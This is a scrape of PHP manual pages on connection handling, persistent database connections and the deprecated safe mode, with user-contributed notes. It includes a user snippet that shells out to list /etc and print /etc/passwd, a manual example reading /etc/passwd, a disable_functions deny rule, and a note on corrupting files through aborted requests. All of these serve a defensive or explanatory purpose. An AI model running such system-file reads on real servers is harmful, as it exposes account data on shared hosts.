Your script can also be terminated by the built-in script timer. The default timeout is 30 seconds. It can be changed using the max_execution_time php.ini directive or the corresponding php_value max_execution_time Apache httpd.conf directive as well as with the set_time_limit() function. When the timer expires the script will be aborted and as with the above client disconnect case, if a shutdown function has been registered it will be called. Within this shutdown function you can check to see if a timeout caused the shutdown function to be called by calling the connection_status() function. This function will return 2 if a timeout caused the shutdown function to be called.

One thing to note is that both the ABORTED and the TIMEOUT states can be active at the same time. This is possible if you tell PHP to ignore user aborts. PHP will still note the fact that a user may have broken the connection, but the script will keep running. If it then hits the time limit it will be aborted and your shutdown function, if any, will be called. At this point you will find that connection_status() returns 3.

User Contributed Notes

Anonymous 29-Dec-2011 05:52
This simple function outputs a string and closes the connection. It considers compression using "ob_gzhandler"

It took me a little while to put this all together, mostly because setting the encoding to none, as some people noted here, didn't work.

<?php
function outputStringAndCloseConnection2($stringToOutput)
{
    set_time_limit(0);
    ignore_user_abort(true);
    // buffer all upcoming output - make sure we care about compression:
    if(!ob_start("ob_gzhandler"))
        ob_start();
    echo $stringToOutput;
    // get the size of the output
    $size = ob_get_length();
    // send headers to tell the browser to close the connection
    header("Content-Length: $size");
    header('Connection: close');
    // flush all output
    ob_end_flush();
    ob_flush();
    flush();
    // close current session
    if (session_id()) session_write_close();
}
?>
pgl at yoyo dot org 22-Jun-2011 03:09
If you just want a script that will instantly disconnect the browser and then continue processing, this seems to work:

<?php
header("Content-Length: 0");
header("Connection: close");
flush();

// browser should disconnect at this point
?>
a1n2ton at gmail dot com 12-Dec-2009 01:09
PHP changes directory on connection abort so code like this will not do what you want:

<?php
function abort()
{
     if(connection_aborted())
           unlink('file.ini');
}
register_shutdown_function('abort');
?>

actually it will delete file in apaches's root dir so if you want to unlink file in your script's dir on abort or write to it you have to store directory
<?php
function abort()
{
     global $dsd;
     if(connection_aborted())
           unlink($dsd.'/file.ini');
}
register_shutdown_function('abort');
$dsd=getcwd();
?>
tom lgold2003 at gmail dot com 09-Sep-2009 11:43
hey, thanks to arr1, and it is very useful for me, when I need to return to the user fast and then do something else.

When using the codes, it nearly drive me mad and I found another thing that may affect the codes:

Content-Encoding: gzip

This is because the zlib is on and the content will be compressed. But this will not output the buffer until all output is over.

So, it may need to send the header to prevent this problem.

now, the code becomes:

<?php
ob_end_clean();
header("Connection: close\r\n");
header("Content-Encoding: none\r\n");
ignore_user_abort(true); // optional
ob_start();
echo ('Text user will see');
$size = ob_get_length();
header("Content-Length: $size");
ob_end_flush();     // Strange behaviour, will not work
flush();            // Unless both are called !
ob_end_clean();

//do processing here
sleep(5);

echo('Text user will never see');
//do some processing
?>
alan at burrist dot co dot uk 25-Feb-2009 04:57
A simple but useful packaging of arr1's suggestion for continuing processing after telling the the browser that output is finished.

I always redirect when a request requires some processing (so we don't do it twice on refresh) which makes things easy...

<?php
 function redirect_and_continue($sURL)
 {
  header( "Location: ".$sURL ) ;
  ob_end_clean(); //arr1s code
  header("Connection: close");
  ignore_user_abort();
  ob_start();
  header("Content-Length: 0");
  ob_end_flush();
  flush(); // end arr1s code
  session_write_close(); // as pointed out by Anonymous
 }
?>

Of course this won't work if the output has started - but the a simple redirect wouldn't work anyway.

UPDATE: To get this to work on IIS 7 you need to switch off IIS output buffering by adding responseBufferLimit="0" to the relevant handler in your web.config

Thanks for the tip arr1
fanfear at yahoo dot com 05-Jan-2009 01:59
i use this code when i want php infinite loop

<?php
    set_time_limit (0);//run script forever
    ignore_user_abort ();//run script in background
    $i = 0;
    echo "start\n";
    while (1) {
        $i++;
        echo $i, "\n";
        $sleep = sleep (3);
        if ($sleep == 0 or $sleep or $sleep == FALSE) continue;
        if (connection_aborted ()) continue;
        if (connection_status () != 0) continue;
    }
?>
Jean Charles MAMMANA 01-Apr-2008 01:25
connection_status() return ABORTED state ONLY if the client disconnects gracefully (with STOP button). In this case the browser send the RST TCP packet that notify PHP the connection is closed.
But.... If the connection is stopped by networs troubles (wifi link down by exemple) the script doesn't know that the client is disconnected :(

I've tried to use fopen("php://output") with stream_select() on writting to detect write locks (due to full buffer) but php give me this error : "cannot represent a stream of type Output as a select()able descriptor"

So I don't know how to detect correctly network trouble connection...
Anonymous 13-Nov-2007 02:06
in regards of posting from:
arr1 at hotmail dot co dot uk

if you use/write sessions you need to do this before:
(otherwise it does not work)

session_write_close();

and if wanted:

ignore_user_abort(TRUE);
instead of ignore_user_abort();
arr1 at hotmail dot co dot uk 14-Nov-2006 11:51
Closing the users browser connection whilst keeping your php script running has been an issue since 4.1, when the behaviour of register_shutdown_function() was modified so that it would not automatically close the users connection.

sts at mail dot xubion dot hu
Posted the original solution:

<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

Which works fine until you substitute phpinfo() for
echo ('text I want user to see'); in which case the headers are never sent!

The solution is to explicitly turn off output buffering and clear the buffer prior to sending your header information.

example:

<?php
 ob_end_clean();
 header("Connection: close");
 ignore_user_abort(); // optional
 ob_start();
 echo ('Text the user will see');
 $size = ob_get_length();
 header("Content-Length: $size");
 ob_end_flush(); // Strange behaviour, will not work
 flush();            // Unless both are called !
 // Do processing here
 sleep(30);
 echo('Text user will never see');
?>
Just spent 3 hours trying to figure this one out, hope it helps someone :)

Tested in:
IE 7.5730.11
Mozilla Firefox 1.81
bg at ms dot com 22-Sep-2005 06:42
Confirmed.  User presses STOP button.  This sends a RST packet and closes the connection.  PHP is most certainly immediately affected (i.e., the script is stopped, whether or not any output is pending for the user, or even if script is just grinding away on a database without having output anything).

ignore_user_abort() exists to prevent this.

If user STOPS, script ignores the RST and runs to completion (the output is apparently ignored by apache and not sent to the user, who sent the RST and closed the TCP connection).  If user's connection just vanishes (isp problem, disconnect, whatever), and there is no RST sent by user, then eventually the script will timeout.
hrgan at melibado dot com 12-Dec-2004 11:08
As it was said, connection handling is very useful when web application need to do something in background. I found it very useful when application need something from database, wrap that data with template, create some html files and save it to filesystem. And all that on server with heavy load. Without connection handling - function ignore_user_abort() - this process can be interrupted by user and final step will never be done.
Lee 18-Sep-2004 03:16
The point mentioned in the last comment isn't always the case.

If a user's connection is lost half way through an order processing script is confirming a user's credit card/adding them to a DB, etc (due to their ISP going down, network trouble... whatever) and your script tries to send back output (such as, "pre-processing order" or any other type of confirmation), then your script will abort -- and this could cause problems for your process.

I have an order script that adds data to a InnoDB database (through MySQL) and only commits the transactions upon successful completion. Without ignore_user_abort(), I have had times when a user's connection dropped during the processing phase... and their card was charged, but they weren't added to my local DB.

So, it's always safe to ignore any aborts if you are processing sensitive transactions that should go ahead, whether your user is "watching" on the other end or not.
ej at campbell *dot* name 12-Feb-2004 05:01
I don't think the first example given below will occur in the real world.

As long as your order handling script does not output anything, there's no way that it will be aborted before it completes processing (unless it timeouts). PHP only senses user aborts when a script sends output. If there's no output sent to the client before processing completes, which is presumably the case for an order handling script, the script will run to completion.

So, the only time a script can be terminated due to the user hitting stop is when it sends output. If you don't send any output until processing completes, you don't have to worry about user aborts.
pulstar at mail dot com 06-Aug-2003 11:32
These functions are very useful for example if you need to control when a visitor in your website place an order and you need to check if he/she didn't clicked the submit button twice or cancelled the submit just after have clicked the submit button.
If your visitor click the stop button just after have submitted it, your script may stop in the middle of the process of registering the products and do not finish the list, generating inconsistency in your database.
With the ignore_user_abort() function you can make your script finish everything fine and after you can check with register_shutdown_function() and connection_aborted() if the visitor cancelled the submission or lost his/her connection. If he/she did, you can set the order as not confirmed and when the visitor came back, you can present the old order again.
To prevent a double click of the submit button, you can disable it with javascript or in your script you can set a flag for that order, which will be recorded into the database. Before accept a new submission, the script will check if the same order was not placed before and reject it. This will work fine, as the script have finished the job before.
Note that if you use ob_start("callback_function") in the begin of your script, you can specify a callback function that will act like the shutdown function when our script ends and also will let you to work on the generated page before send it to the visitor.
Using remote files
Persistent Database Connections
Features


Persistent Database Connections

Persistent connections are links that do not close when the execution of your script ends. When a persistent connection is requested, PHP checks if there's already an identical persistent connection (that remained open from earlier) - and if it exists, it uses it. If it does not exist, it creates the link. An 'identical' connection is a connection that was opened to the same host, with the same username and the same password (where applicable).

People who aren't thoroughly familiar with the way web servers work and distribute the load may mistake persistent connects for what they're not. In particular, they do not give you an ability to open 'user sessions' on the same link, they do not give you an ability to build up a transaction efficiently, and they don't do a whole lot of other things. In fact, to be extremely clear about the subject, persistent connections don't give you any functionality that wasn't possible with their non-persistent brothers.

Why?

This has to do with the way web servers work. There are three ways in which your web server can utilize PHP to generate web pages.

The first method is to use PHP as a CGI "wrapper". When run this way, an instance of the PHP interpreter is created and destroyed for every page request (for a PHP page) to your web server. Because it is destroyed after every request, any resources that it acquires (such as a link to an SQL database server) are closed when it is destroyed. In this case, you do not gain anything from trying to use persistent connections -- they simply don't persist.

The second, and most popular, method is to run PHP as a module in a multiprocess web server, which currently only includes Apache. A multiprocess server typically has one process (the parent) which coordinates a set of processes (its children) who actually do the work of serving up web pages. When a request comes in from a client, it is handed off to one of the children that is not already serving another client. This means that when the same client makes a second request to the server, it may be served by a different child process than the first time. When opening a persistent connection, every following page requesting SQL services can reuse the same established connection to the SQL server.

The last method is to use PHP as a plug-in for a multithreaded web server. Currently PHP 4 has support for ISAPI, WSAPI, and NSAPI (on Windows), which all allow PHP to be used as a plug-in on multithreaded servers like Netscape FastTrack (iPlanet), Microsoft's Internet Information Server (IIS), and O'Reilly's WebSite Pro. The behavior is essentially the same as for the multiprocess model described before.

If persistent connections don't have any added functionality, what are they good for?

The answer here is extremely simple -- efficiency. Persistent connections are good if the overhead to create a link to your SQL server is high. Whether or not this overhead is really high depends on many factors. Like, what kind of database it is, whether or not it sits on the same computer on which your web server sits, how loaded the machine the SQL server sits on is and so forth. The bottom line is that if that connection overhead is high, persistent connections help you considerably. They cause the child process to simply connect only once for its entire lifespan, instead of every time it processes a page that requires connecting to the SQL server. This means that for every child that opened a persistent connection will have its own open persistent connection to the server. For example, if you had 20 different child processes that ran a script that made a persistent connection to your SQL server, you'd have 20 different connections to the SQL server, one from each child.

Note, however, that this can have some drawbacks if you are using a database with connection limits that are exceeded by persistent child connections. If your database has a limit of 16 simultaneous connections, and in the course of a busy server session, 17 child threads attempt to connect, one will not be able to. If there are bugs in your scripts which do not allow the connections to shut down (such as infinite loops), the database with only 16 connections may be rapidly swamped. Check your database documentation for information on handling abandoned or idle connections.

Warning

There are a couple of additional caveats to keep in mind when using persistent connections. One is that when using table locking on a persistent connection, if the script for whatever reason cannot release the lock, then subsequent scripts using the same connection will block indefinitely and may require that you either restart the httpd server or the database server. Another is that when using transactions, a transaction block will also carry over to the next script which uses that connection if script execution ends before the transaction block does. In either case, you can use register_shutdown_function() to register a simple cleanup function to unlock your tables or roll back your transactions. Better yet, avoid the problem entirely by not using persistent connections in scripts which use table locks or transactions (you can still use them elsewhere).

An important summary. Persistent connections were designed to have one-to-one mapping to regular connections. That means that you should always be able to replace persistent connections with non-persistent connections, and it won't change the way your script behaves. It may (and probably will) change the efficiency of the script, but not its behavior!

See also fbsql_pconnect(),
ibase_pconnect(), ifx_pconnect(),
ingres_pconnect(),
msql_pconnect(), mssql_pconnect(),
mysql_pconnect(), ociplogon(),
odbc_pconnect(), oci_pconnect(),
pfsockopen(), pg_pconnect(), and
sybase_pconnect().

User Contributed Notes

jorgeleon85 at gmail dot com 18-Feb-2011 02:07
I've been looking everywhere for a benchmark or at least comparison of the overhead used by oci_connect and oci_pconnect.
Just saying "oci_connect is slower because the overhead..." is not enough for me. For than I wrote a couple scripts to compare perfomance.
At the end I found out an average of 34% more time using a oci_connect than oci_pconnect, using a query of 50 rows and 100 columns.
Obviously this wasn't a real benchmark however it gives a simple idea of the efficiency of each function.
ambrish at php dot net 20-Sep-2010 01:37
In IBM_DB2 extension v1.9.0 or later performs a transaction rollback on persistent connections at the end of a request, thus ending the transaction. This prevents the transaction block from carrying over to the next request which uses that connection if script execution ends before the transaction block does.
Tom 28-Dec-2009 05:37
There's a third case for PHP: run on a fastCGI interface. In this case, PHP processes are NOT destroyed after each request, and so persistent connections do persist. Set PHP_FCGI_CHILDREN << mysql's max_connections and you'll be fine.
ynzhang from lakeheadu canada 09-Mar-2009 10:49
It seems that using pg_pconnect() will not persist the temporary views/tables. So if you are trying to create temporary views/tables with the query results and then access them with the next script of the same session, you are out of luck. Those temporary view/tables are gone after each PHP script ended. One way to get around this problem is to create real view/table with session ID as part of the name and record the name&creation time in a common table. Have a garbage collection script to drop the view/table who's session is expired.
christopher dot jones at oracle dot com 26-Jun-2007 10:46
For the oci8 extension it is not true that " [...] when using transactions, a transaction block will also carry over to the next script which uses that connection if script execution ends before the transaction block does.".  The oci8 extension does a rollback at the end scripts using persistent connections, thus ending the transaction.  The rollback also releases locks. However any ALTER SESSION command (e.g. changing the date format) on a persistent connection will be retained over to the next script.
andy at paradigm-reborn dot com 20-Feb-2007 08:13
To those using MySQL and finding a lot of leftover sleeping processes, take a look at MySQL's wait_timeout directive. By default it is set to 8 hours, but almost any decent production server will have been lowered to the 60 second range. Even on my testing server, I was having problems with too many connections from leftover persistent connections.
whatspaz at g NO dot SPAM mail dot c o m 26-Nov-2006 03:02
in response to web at nick, have you tried FLUSH PRIVILEGES. this should reload those privileges.
RQuadling at GMail dot com 06-Mar-2006 03:43
If you have multiple databases on the same server AND you are using persistent connections, you MUST prefix all the table names with the specific database name.

Changing the database using the xxx_select_db functions alters the database for the connection for all users who are sharing that connection (assuming PHP is running shared and not CGI/CLI).

If you have 2 databases (live and archive) and your script is talking to both, you cannot use 2 persistent connections and change the database for each one.

Internally, persistent connections are used even if you do not specify that you want to use persistent connections. This is why new_link was added to mysql_connect/mssql_connect (PHPV4.2.0+).
fabio 12-Jan-2006 03:54
You can in fact provide a port for the connection, take a look at http://de2.php.net/manual/en/function.mysql-pconnect.php#AEN101879

Just use "hostname:port" for the server address.
aaryal at foresightint dot com 15-Jan-2004 03:21
this one bit quite a bit of chunk out of my you-know-what. seems like if you're running multiple database servers on the same host (for eg. MySQL on a number of ports) you can't use pconnect since the port number isn't part of the key for database connections. especially if you have the same username and password to connect to all the database servers running on different ports. but then it might be php-MySQL specific. you might get a connection for an entirely different port than the one you asked for.
web at nickSPAMrabinowitz dot com 02-Dec-2003 02:41
This may only pertain to Apache/MySQL:

After several hours of wrestling with MySQL "Access denied" messages, I determined that persistent database connections don't necessarily reflect subsequent privilege changes.

I loaded a PHP script attempting a LOAD DATA statement, and got an "Access denied" error. I granted FILE privileges to the MySQL user, and was able to run LOAD DATA statements from the terminal, but still got "Access denied" from my PHP pages.  When I switched from mysql_pconnect() to mysql_connect(), the problem went away; eventually I restarted apache to kill the persistent connection and switched back to mysql_pconnect(), and now everything works fine.
jean_christian at myrealbox dot com 15-Aug-2002 03:13
If anyone ever wonders why the number of idle db process (open connections) seems to grow even though you are using persistent connections, here's why:

"You are probably using a multi-process web server such as Apache. Since
database connections cannot be shared among different processes a new
one is created if the request happen to come to a different web server
child process."
sebastian at flothow dot de 18-Apr-2000 07:28
Yes, with nonpersistent connections database connections last only while a database-related request is processed, thus reducing the load on the database server.
However, latency will be somewhat higher since a database connection must be opened before a request can be handeled.
Connection handling
Safe Mode
Features


Safe Mode

Table of Contents

  • Security and Safe Mode
  • Functions restricted/disabled by safe mode

The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now.

Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

User Contributed Notes

Anonymous 19-Aug-2008 06:09
If you do it right, you dont have to use safemode on iis.

Running as an anonymous user will make it possible to restrict (on ntfs) access everywhere you dont want users/scripts to read from.
or the other way: permit access to the http-root-HDD (in my case) or directory and deny the rest.

wanting users not be able to access the other one's dir will either require you to use for every user another "website" or safemode (which is easier to do).

so based on your security needs you know what todo:P
14-Sep-2006 10:18
Each IIS server in Windows runs as a User so it does have a UID file ACLs can be applied via a Group (GID) or User.  The trick is to configure each website to run as a distinct user instead of the default of System.
martin at example dot com 01-Nov-2005 04:07
On the note of php security

have a look at: http://www.suphp.org/Home.html

 suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.
hunter+phpnet at spysatcentral dot net 07-Aug-2005 10:25
I use mkdir just fine. You just have to make sure you set sticky bits on the directory you are creating the files in. Look at "man chmod" clipping:

4000    (the setuid bit).  Executable files with this bit set will run with effective uid set to the uid of the file owner. Directories with this bit set will force all files and sub-directories created in them to be owned by the directory owner and not by the uid of the creating process, if the underlying file system supports this feature: see chmod(2) and the suiddir option to mount(8).
mordae at mordae dot net 18-Jul-2005 07:19
It is possible to patch PHP/4 so it checks if just any directory in path is owned by proper user, e.g.
/home/mordae/www/dir/file
(where /home/mordae/www is mine and dir and file Apache's) will be readable if proper permissions set.
Read more at http://titov.net/safemodepatch/
jo at durchholz dot org 18-Jul-2005 01:18
Note that safe mode is largely useless. Most ISPs that offer Perl also offer other scripting languages (mostly Perl), and these other languages don't have the equivalent of PHP.
In other words, if PHP's safe mode won't allow vandals into your web presence, they will simply use Perl.
Also, safe mode prevents scripts from creating and using directories (because they will be owned by the WWW server, not by the user who uploaded the PHP script). So it's not only useless, it's also a hindrance.
The only realistic option is to bugger the Apache folks until they run all scripts as the user who's responsible for a given virtualhost or directory.
03-May-2005 09:37
To separate distinct open_basedir use : instead of on , or ; on unix machines.
plyrvt at mail dot ru 29-Apr-2005 03:14
[In reply to jedi at tstonramp dot com]
Safe mode is used "since the alternatives at the web server and OS levels aren't very realistic". Manual says about UNIX OS level and UNIX web-servers by design (Apache). It's not realistic for unix-like server, but for NT (IIS) each virtual host can run from different user account, so there is no need in Safe Mode restrictions at all, if proper NTFS rights are set.
bertrand dot gorge at epistema dot com 23-Sep-2004 05:58
Beware that when in safe mode, mkdir creates folders with apache's UID, though the files you create in them are of your script's UID (usually the same as your FTP uid).

What this means is that if you create a folder, you won't be able to remove it, nor to remove any of the files you've created in it (because those operations require the UID to be the same).

Ideally mkdir should create the folder with the script's UID, but this has already been discussed and will not be fixed in the near future.

In the meantime, I would advice NOT to user mkdir in safe mode, as you may end up with folders you can't remove/use.
Russ 31-Aug-2004 08:52
Sometimes you're stuck on a system you don't run and you can't control the setting of safe mode.  If your script needs to run on different hosts (some with safe mode, some without it), you can code around it with something like:

<?php
// Check for safe mode
if( ini_get('safe_mode') ){
    // Do it the safe mode way
}else{
    // Do it the regular way
}

?>
daniel dot gaddis at tlc dot state dot tx dot us 17-Mar-2004 11:03
on windows if multiple directories are wanted for safe_mode_exec_dir and open_basedir be sure to separate the paths with a semi colon and double quote the whole path string. For example:

safe_mode = On
safe_mode_exec_dir = "F:\WWW\HTML;F:\batfiles\batch"
open_basedir = "F:\WWW\HTML;F:\batfiles\batch"
uuganbat at datacom dot mn 26-Feb-2004 01:32
users executing shell scripts by filename.php, and I take the server in safe mode but some things are not working on web server, and disabled functions by php.ini but the simple commands in Unix are executing how  disable to execute shell scripts via *.php file.

example
<?php
echo `ls -l /etc/`; echo `more /etc/passwd`;
?>
matthias at remove-this dot hrz dot uni-kassel dot de 12-Nov-2003 09:38
Beware: Safe mode will not permit you to create new files in directories which have different owner than the owner of the script. This typically applies to /tmp, so contrary to Unix intuition, you will not be able to create new files there (even if the /tmp rights are set correctly).

If you need to write into files in /tmp (for example to put logfiles of your PHP application there) create them first on the command line by doing a

touch /tmp/whatever.log

as the same user who owns the PHP script. Then, provided the rest is configured correctly, the PHP script will be able to write into that file.
info at phpcoding dot net 08-Mar-2003 06:44
readfile() seems not always to take care of the safe_mode setting.
When the file you want to read with readfile() resides in the same directory as the script itself, it doesn`t matter who the owner of the file is, readfile() will work.
gtg782a at mail dot gatech dot edu 26-Jan-2003 09:14
zebz: The user would not be able to create a directory outside the namespace where he/she would be able to modify its contents. One can't create a directory that becomes apache-owned unless one owns the parent directory.

Another security risk: since files created by apache are owned by apache, a user could call the fputs function and output PHP code to a newly-created file with a .php extension, thus creating an apache-owned PHP script on the server. Executing that apache-owned script would allow the script to work with files in the apache user's namespace, such as logs. A solution would be to force PHP-created files to be owned by the same owner/group as the script that created them. Using open_basedir would be a likely workaround to prevent ascension into uncontrolled areas.
10-Sep-2002 03:30
Some paranoid web managers also restrict the set_user_abort() function.

This constitutes a security issue for hosted web sites, because the hosted script cannot guarantee safe atomic operations on files in a reasonnable time (the time limit may still be in effect):

If set_user_abort() is disabled by the web admin, a user can corrupt the files of a hosted web site by simply sending many requests to the PHP script, and aborting it fast. In some cases that can be easily reproduced after a dozen of attempts, the script will be interrupted in the middle of a file or database update!

The only way for the hosted web site to protect itself in this case is to use a sleep() with a random but not null short time before performing atomic operations.

Web admins should then definitely NOT disable the set_user_abort() function which is vital to ensure atomic operations on hosted critical files or databases.

Instead they should only disable the set_time_limit() function, and set a constant but reasonnable time for any script to complete their atomic operations.
10-Sep-2002 03:19
disk_free_space($directory) is also restricted by the safe_mode ! It can also be completely forbidden as this would allow a script to test the available space in order to fill it with a giant file, preventing other scripts to use that space (notably in "/tmp").
disk_free_space() is then informational, and this does not prevent system quotas to limit the size of your files to a value lower than the available free space!
Most web server admins that propose PHP hosting, will implement quotas for your hosting account, but also on any shared resources such as temporary folders.
tom at tom420 dot com 19-Jul-2002 01:33
open_basedir only restricts file operations to files and directories under a specified directory, but you can still user system ("vi /home/somedir/somefile"), so safe_mode still has a place here as it is much more restrictive then open_basedir.

Also, to reply to someone who said that 'above' and 'below' was a matter of perspective, sure it is. Of course, a file is not under another one, etc, it just pointed by some inode. But in the common language we consider the root (/) to be above everything else, and /home is below root, and /home/myfile is below /home. There is no written standard, but most people (those I know anyway) agree on that syntax.
zebz at ihaveenoughspam_hotmail dot com 28-Apr-2002 08:42
All the filesystem-related functions (unlink, fopen, unlink, etc) seems to be restricted the same way in safe mode, at least on PHP 4.2. If the file UID is different *but* the directory (where the file is located) UID is the same, it will work.

So creating a directory in safe mode is usually a bad idea since the UID will be different from the script (it will be the apache UID) so it won't be possible to do anything with the files created on this directory.
devik at cdi dot cz 24-Jan-2002 04:45
Just to note, I created patch which allows VirtualHost to set User under which all (PHP too) runs. It is more secure than safe_mode. See luxik.cdi.cz/~devik/apache/ if you are interested
jedi at tstonramp dot com 07-Sep-2001 07:17
Many filesystem-related functions are not appropriately restricted when Safe Mode is activated on an NT server it seems.  I would assume that this is due to the filesystem not making use of UID.

In all of my scripts, no matter WHO owns the script (file Ownership-wise) or WHO owns the directory/file in question; both UIDs display

(getmyuid() and fileowner()) as UID = 0

This has the rather nasty side effect of Safe Mode allowing multiple filesystem operations because it believes the script owner and file/dir owner are one and the same.

While this can be worked around by the judicious application of proper filesystem privileges, it's still a "dud" that many of Safe Mode's securities are simply not there with an NT implementation.
Persistent Database Connections
Security and Safe Mode
Features


Security and Safe Mode

Security and Safe Mode Configuration Directives
Name | Default | Changeable | Changelog
safe_mode | "0" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
safe_mode_gid | "0" | PHP_INI_SYSTEM | Available since PHP 4.1.0. Removed in PHP 5.4.0.
safe_mode_include_dir | NULL | PHP_INI_SYSTEM | Available since PHP 4.1.0. Removed in PHP 5.4.0.
safe_mode_exec_dir | "" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
safe_mode_allowed_env_vars | "PHP_" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
safe_mode_protected_env_vars | "LD_LIBRARY_PATH" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

safe_mode boolean

Whether to enable PHP's safe mode. If PHP is compiled with --enable-safe-mode then defaults to On, otherwise Off.

Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

safe_mode_gid boolean

By default, Safe Mode does a UID compare check when opening files. If you want to relax this to a GID compare, then turn on safe_mode_gid. Whether to use UID (FALSE) or GID (TRUE) checking upon file access.

safe_mode_include_dir string

UID/GID checks are bypassed when including files from this directory and its subdirectories (directory must also be in include_path or full path must including).

As of PHP 4.2.0, this directive can take a colon (semi-colon on Windows) separated path in a fashion similar to the include_path directive, rather than just a single directory. The restriction specified is actually a prefix, not a directory name. This means that "safe_mode_include_dir = /dir/incl" also allows access to "/dir/include" and "/dir/incls" if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: "safe_mode_include_dir = /dir/incl/" If the value of this directive is empty, no files with different UID/GID can be included in PHP 4.2.3 and as of PHP 4.3.3. In earlier versions, all files could be included.
safe_mode_exec_dir string

If PHP is used in safe mode, system() and the other functions executing system programs refuse to start programs that are not in this directory. You have to use / as directory separator on all environments including Windows.

safe_mode_allowed_env_vars string

Setting certain environment variables may be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied here. By default, users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).

Note:

If this directive is empty, PHP will let the user modify ANY environment variable!

safe_mode_protected_env_vars string

This directive contains a comma-delimited list of environment variables that the end user won't be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them.

See also: open_basedir, disable_functions, disable_classes, register_globals, display_errors, and log_errors.

When safe_mode is on, PHP checks to see if the owner of the current script matches the owner of the file to be operated on by a file function or its directory. For example:

-rw-rw-r--    1 rasmus   rasmus       33 Jul  1 19:20 script.php
-rw-r--r--    1 root     root       1116 May 26 18:01 /etc/passwd
Running script.php:
<?php
 readfile('/etc/passwd');
?>
results in this error when safe mode is enabled:
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2

However, there may be environments where a strict UID check is not appropriate and a relaxed GID check is sufficient. This is supported by means of the safe_mode_gid switch. Setting it to On performs the relaxed GID checking, setting it to Off (the default) performs UID checking.

If instead of safe_mode, you set an open_basedir directory then all file operations will be limited to files under the specified directory. For example (Apache httpd.conf example):

<Directory /docroot>
  php_admin_value open_basedir /docroot
</Directory>
If you run the same script.php with this open_basedir setting then this is the result:
Warning: open_basedir restriction in effect. File is in wrong directory in
/docroot/script.php on line 2

You can also disable individual functions. Note that the disable_functions directive can not be used outside of the php.ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file:

disable_functions = readfile,system
Then we get this output:
Warning: readfile() has been disabled for security reasons in
/docroot/script.php on line 2

Warning

These PHP restrictions are not valid in executed binaries, of course.

User Contributed Notes

rayro at gmx dot de 31-Jan-2009 11:18
Theres a failure with open_basedir and per-host configuration
in apache as described in bug #42836: http://bugs.php.net/bug.php?id=42836

I got the same errors on my development windows system and apache 2.2.4 with php 5.3.beta1.

This error (or similar) is shown:
Warning: Unknown: open_basedir restriction in effect. File(...)
is not within the allowed path(s): (� �� �@5�,�)

Fix:
  - try slashes at the end of the folder name
  or
  - put "php_admin_value open_basedir ..." at first of all in the configuration
Safe Mode
Functions restricted/disabled by safe mode
Safe Mode


Functions restricted/disabled by safe mode

This is a still probably incomplete and possibly incorrect listing of the functions limited by safe mode.

Safe mode limited functions
Function | Limitations
dbmopen() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
dbase_open() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro_rowcount() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro_retrieve() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
ifx_* | sql_safe_mode restrictions, (!= safe mode)
ingres_* | sql_safe_mode restrictions, (!= safe mode)
mysql_* | sql_safe_mode restrictions, (!= safe mode)
pg_lo_import() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
posix_mkfifo() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
putenv() | Obeys the safe_mode_protected_env_vars and safe_mode_allowed_env_vars ini-directives. See also the documentation on putenv()
move_uploaded_file() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chdir() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
dl() | This function is disabled when PHP is running in safe mode.
backtick operator | This function is disabled when PHP is running in safe mode.
shell_exec() (functional equivalent of backticks) | This function is disabled when PHP is running in safe mode.
exec() | You can only execute executables within the safe_mode_exec_dir. For practical reasons it's currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
system() | You can only execute executables within the safe_mode_exec_dir. For practical reasons it's currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
passthru() | You can only execute executables within the safe_mode_exec_dir. For practical reasons it's currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
popen() | You can only execute executables within the safe_mode_exec_dir. For practical reasons it's currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
fopen() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
mkdir() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
rmdir() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
rename() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
unlink() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
copy() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (on source and target)
